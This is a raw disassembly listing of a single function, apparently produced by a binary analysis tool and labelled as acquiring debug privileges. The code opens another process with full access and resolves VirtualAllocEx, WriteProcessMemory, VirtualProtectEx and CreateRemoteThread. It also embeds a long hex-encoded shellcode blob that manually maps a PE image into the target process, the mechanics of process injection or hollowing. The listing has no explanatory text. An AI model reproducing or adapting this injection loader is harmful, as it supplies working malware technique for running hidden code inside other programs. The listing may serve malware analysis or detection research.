Function at 0x42a11b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 4], 0
push 0xc
call fcn.004379b0
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
add ebx, 8
push ebx
push 0xc
call fcn.004379b0
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x578023
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push ebx
mov ebx, edi
mov ecx, 1
push ecx
push ebx
push 0xc
call fcn.004379b0
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push ebx
push 8
call fcn.004379b0
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
pop ebx
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x42a178
pop ebx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
push 0x34
call fcn.004379b0
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xd
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], esp
mov eax, 0x66
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42a243
push 0x40
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0x437d80
call fcn.004379bc
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esp
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
mov eax, 0x67
call fcn.004379aa
cmp dword [ebp - 0x38], esp
je 0x42a2a6
push 0x53
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
test eax, eax
je 0x42a4f3
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], 1
mov dword [ebx + 4], 0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 8]
call fcn.004040ef
mov eax, 0
cmp eax, ecx
jl 0x42a2ef
push 0xad
push 0x4017fa6
push 1
call fcn.004379a4
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], 2
mov dword [ebx + 4], 0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 8]
call fcn.004040ef
mov eax, 0
cmp eax, ecx
jl 0x42a337
push 0xfa
push 0x4017fa6
push 1
call fcn.004379a4
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], esp
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
push 0x57696e
push 0
mov eax, 0x68
call fcn.004379aa
cmp dword [ebp - 0x30], esp
je 0x42a379
push 0xfa
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
test eax, eax
je 0x42a4c7
mov dword [ebp - 0x2c], esp
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0x18
call fcn.004379b0
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ecx, 1
mov ebx, dword [ebx]
add ebx, 8
push ebx
push ecx
mov ebx, dword [ebx]
push ebx
mov ebx, dword [ebx]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ecx
pop ebx
add ebx, 4
dec ecx
jne 0x42a3d0
pop ebx
add ebx, 4
push 0
push dword [ebp - 4]
mov eax, 0x69
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42a441
push 0x13b
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x30]
push ebx
mov edi, dword [ebp - 0x34]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push edi
mov edi, dword [edi]
mov ecx, 1
add edi, 8
push ebx
push edi
push ecx
mov edi, dword [edi]
push edi
mov edi, dword [edi]
push ebx
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 8
pop edi
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ecx
pop edi
pop ebx
add edi, 4
add ebx, 0x10
dec ecx
jne 0x42a46b
pop edi
add edi, 4
call fcn.004379b6
add esp, 4
pop eax
mov dword [ebp - 0x2c], esp
push dword [ebp - 4]
mov eax, 0x6a
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42a4f3
push 0x17c
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0x2c], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 0x6b
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42a529
push 0x1cd
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42a540
mov eax, 0
jmp 0x42ab1b
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
mov eax, 0x6c
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42a570
push 0x262
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0x14], 1
mov eax, str.55_8B_EC_83_E4_F0_81_EC_C8_00_00_00_8B_45_18_56_8B_75_0C_57_0F_10_00_0F_11_44_24_50_0F_10_40_10_0F_11_44_24_60_0F_10_40_20_8B_40_30_89_44_24_20_B8_4D_5A_00_00_0F_11_44_24_70_66_39_06_74_0B_B8_01_00_00_00_5F_5E_8B_E5_5D_C3_8B_46_3C_B9_4C_01_00_00_03_C6_89_44_24_18_66_39_48_04_74_0B_B8_02_00_00_00_5F_5E_8B_E5_5D_C3_8B_7D_08_6A_04_68_00_30_00_00_FF_70_50_6A_00_57_FF_54_24_74_89_44_24_14_85_C0_75_0B_B8_03_00_00_00_5F_5E_8B_E5_5D_C3_8D_8C_24_90_00_00_00_C7_84_24_90_00_00_00_00_00_00_00_51_8B_4C_24_1C_6A_40_FF_71_50_50_57_FF_54_24_78_8B_44_24_50_6A_00_68_00_10_00_00_89_84_24_A0_00_00_00_8B_44_24_5C_56_89_84_24_A8_00_00_00_8B_44_24_20_50_57_C7_84_24_B8_00_00_00_00_00_00_00_89_84_24_B4_00_00_00_C7_84_24_BC_00_00_00_01_00_00_00_C7_84_24_C0_00_00_00_00_00_00_00_FF_54_24_7C_85_C0_75_1D_68_00_80_00_00_50_FF_74_24_1C_57_FF_94_24_80_00_00_00_B8_04_00_00_00_5F_5E_8B_E5_5D_C3_8B_44_24_18_33_FF_0F_B7_70_14_83_C6_2C_66_39_78_06_74_35_03_F0_8B_46_FC_85_C0_74_1C_6A_00_50_8B_06_03_45_0C_50_8B_46_F8_03_44_24_20_50_FF_75_08_FF_54_24_7C_85_C0_74_4A_8B_44_24_18_47_83_C6_28_0F_B7_40_06_3B_F8_75_CD_8B_7D_08_8B_74_24_60_6A_04_68_00_30_00_00_6A_18_6A_00_57_FF_D6_89_44_24_1C_85_C0_75_3D_68_00_80_00_00_50_FF_74_24_1C_57_FF_94_24_80_00_00_00_B8_06_00_00_00_5F_5E_8B_E5_5D_C3_68_00_80_00_00_6A_00_FF_74_24_1C_FF_75_08_FF_94_24_80_00_00_00_B8_05_00_00_00_5F_5E_8B_E5_5D_C3_6A_00_6A_18_8D_8C_24_A0_00_00_00_51_50_57_FF_54_24_7C_85_C0_75_2A_8B_74_24_70_68_00_80_00_00_50_FF_74_24_1C_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_24_57_FF_D6_B8_07_00_00_00_5F_5E_8B_E5_5D_C3_6A_40_68_00_30_00_00_68_00_10_00_00_6A_00_57_FF_D6_8B_F0_89_74_24_34_85_F6_75_2A_8B_74_24_70_68_00_80_00_00_50_FF_74_24_1C_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_24_57_FF_D6_B8_08_00_00_00_5F_5E_8B_E5_5D_C3_8B_45_14_6A_00_68_5C_01_00_00_05_F0_05_00_00_50_56_57_FF_54_24_7C_85_C0_75_38_8B_74_24_70_68_00_80_00_00_50_FF_74_24_1C_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_24_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_3C_57_FF_D6_B8_09_00_00_00_5F_5E_8B_E5_5D_C3_6A_00_6A_00_FF_74_24_24_56_6A_00_6A_00_57_FF_94_24_90_00_00_00_85_C0_75_38_8B_74_24_70_68_00_80_00_00_50_FF_74_24_1C_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_24_57_FF_D6_68_00_80_00_00_6A_00_FF_74_24_3C_57_FF_D6_B8_0A_00_00_00_5F_5E_8B_E5_5D_C3_50_FF_54_24_7C_8B_7C_24_7C_8B_75_08_8D_44_24_30_50_56_C7_44_24_38_00_00_00_00_FF_D7_81_7C_24_30_03_01_00_00_0F_85_C0_02_00_00_6A_00_6A_18_8D_84_24_B8_00_00_00_0F_57_C0_50_FF_74_24_28_0F_29_84_24_C0_00_00_00_56_66_0F_D6_84_24_D4_00_00_00_FF_94_24_80_00_00_00_8B_B4_24_BC_00_00_00_81_FE_40_40_40_00_0F_84_45_02_00_00_6A_0A_FF_54_24_24_85_F6_74_96_6A_40_68_00_10_00_00_68_00_00_40_01_6A_00_FF_54_24_68_8B_75_08_6A_00_68_00_10_00_00_50_FF_74_24_20_89_44_24_40_56_FF_54_24_7C_8B_44_24_18_C7_44_24_40_2E_70_64_61_66_C7_44_24_44_74_61_C6_44_24_46_00_0F_B7_50_14_8D_78_18_0F_B7_40_06_8B_CA_03_F9_C7_44_24_38_2E_72_73_72_66_C7_44_24_3C_63_00_8B_C8_C7_44_24_48_2E_72_65_6C_66_C7_44_24_4C_6F_63_C6_44_24_4E_00_C7_44_24_20_00_00_00_00_66_85_C0_0F_84_D5_00_00_00_8B_54_24_18_0F_1F_44_00_00_83_7F_08_00_0F_84_A9_00_00_00_8D_4C_24_40_8B_C7_8A_10_3A_11_75_1A_84_D2_74_12_8A_50_01_3A_51_01_75_0E_83_C0_02_83_C1_02_84_D2_75_E4_33_C0_EB_05_1B_C0_83_C8_01_85_C0_74_60_8D_4C_24_38_8B_C7_90_8A_10_3A_11_75_1A_84_D2_74_12_8A_50_01_3A_51_01_75_0E_83_C0_02_83_C1_02_84_D2_75_E4_33_C0_EB_05_1B_C0_83_C8_01_85_C0_74_30_8D_4C_24_48_8B_C7_90_8A_10_3A_11_75_1A_84_D2_74_12_8A_50_01_3A_51_01_75_0E_83_C0_02_83_C1_02_84_D2_75_E4_33_C0_EB_05_1B_C0_83_C8_01_85_C0_75_16_8B_47_0C_03_44_24_14_6A_00_FF_77_08_FF_74_24_38_50_56_FF_54_24_7C_8B_54_24_18_0F_B7_4A_06_83_C7_28_FF_44_24_20_39_4C_24_20_0F_85_38_FF_FF_FF_0F_B7_52_14_0F_B7_F2_33_FF_83_C6_3C_66_85_C9_8B_4C_24_18_74_5C_03_F1_90_8B_56_E4_85_D2_74_46_8B_0E_B8_02_00_00_00_C7_44_24_20_00_00_00_00_F7_C1_00_00_00_80_76_07_B8_04_00_00_00_EB_0E_F7_C1_00_00_00_20_B9_20_00_00_00_0F_47_C1_8D_4C_24_20_51_50_8B_46_E8_03_44_24_1C_52_50_FF_75_08_FF_54_24_78_8B_4C_24_18_0F_B7_41_06_47_83_C6_28_3B_F8_75_A7_8B_7D_08_8D_84_24_94_00_00_00_50_C7_84_24_98_00_00_00_00_00_00_00_0F_B7_41_14_6A_02_FF_74_08_24_FF_74_24_20_57_FF_54_24_78_8B_74_24_3
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0042ab9d
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a59b
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42a5af
push ebx
call fcn.004379b6
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x42a5c6
mov eax, 0x4c3a36
push eax
push 1
mov ebx, 0x437f30
call fcn.004379bc
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esp
push 0x40
push 0x3000
push dword [ebp - 0x2c]
push 0
mov eax, 0x6d
call fcn.004379aa
cmp dword [ebp - 0x30], esp
je 0x42a617
push 0x330
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
lea eax, [ebp - 0x18]
push eax
call fcn.0042ad17
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x42a63d
mov eax, 0x4c3a36
push eax
push 1
mov ebx, 0x437f30
call fcn.004379bc
add esp, 0x10
push eax
push dword [ebp - 0x2c]
push dword [ebp - 0x20]
call fcn.0042ad36
mov eax, 0x4c794a
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0042ad5f
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a680
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x30
mov dword [ebp - 0x2c], ebx
mov eax, 0x577f63
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a6b6
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0xc
mov dword [ebp - 0x2c], ebx
mov eax, 0x577f69
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a6ee
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x28
mov dword [ebp - 0x2c], ebx
mov eax, 0x577f75
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a726
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], ebx
mov eax, 0x577f81
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a75b
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 8
mov dword [ebp - 0x2c], ebx
mov eax, 0x577f8e
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a793
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x20
mov dword [ebp - 0x2c], ebx
mov eax, str.VirtualFreeEx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a7cb
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 4
mov dword [ebp - 0x2c], ebx
mov eax, 0x577fa9
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a803
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x10
mov dword [ebp - 0x2c], ebx
mov eax, str.VirtualAllocEx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a83b
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x14
mov dword [ebp - 0x2c], ebx
mov eax, str.VirtualProtectEx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a873
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x1c
mov dword [ebp - 0x2c], ebx
mov eax, str.ReadProcessMemory
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a8ab
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x18
mov dword [ebp - 0x2c], ebx
mov eax, str.WriteProcessMemory
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a8e3
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x24
mov dword [ebp - 0x2c], ebx
mov eax, str.CreateRemoteThread
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a91b
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x28]
add ebx, 0x2c
mov dword [ebp - 0x2c], ebx
mov eax, str.GetExitCodeProcess
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x24]
call fcn.0042ae00
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a953
push ebx
call fcn.004379b6
add esp, 4
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x2c]
mov dword [ebx], eax
push dword [ebp + 0xc]
call fcn.0042ad17
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x42a97b
mov eax, 0x4c3a36
push eax
push 1
mov ebx, 0x437f30
call fcn.004379bc
add esp, 0x10
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0042ae8a
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
mov dword [ebp - 0x58], 0
push 0
push dword [ebp - 0x58]
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
push 1
push dword [ebp - 0x34]
push 1
push dword [ebp - 0x20]
push 1
push dword [ebp - 0x30]
push 1
push dword [ebp - 0x2c]
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x20]
call fcn.0042aea6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x42aaaf
mov dword [ebp - 0x2c], esp
push dword [ebp - 0xc]
mov eax, 0x6a
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42aa6f
push 0x8cb
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0x2c], esp
push 0x8000
push 0
push dword [ebp - 0x20]
mov eax, 0x6e
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42aaa5
push 0x8e5
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov eax, 0
jmp 0x42ab1b
mov dword [ebp - 0x2c], esp
push dword [ebp - 0xc]
mov eax, 0x6a
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42aadb
push 0x929
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov dword [ebp - 0x2c], esp
push 0x8000
push 0
push dword [ebp - 0x20]
mov eax, 0x6e
call fcn.004379aa
cmp dword [ebp - 0x2c], esp
je 0x42ab11
push 0x943
push 0x4017fa6
push 6
call fcn.004379a4
add esp, 0xc
mov eax, 1
jmp 0x42ab1b
push eax
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42ab41
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42ab3d
imul eax, dword [ebx]
jmp 0x42ab32
mov ecx, eax
test ecx, ecx
je 0x42ab69
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.004379b6
add esp, 4
pop ebx
call fcn.004379b6
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42ab47
call fcn.004379b6
add esp, 4
pop ebx
call fcn.004379b6
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42ab8a
push ebx
call fcn.004379b6
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
call fcn.004379b6
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8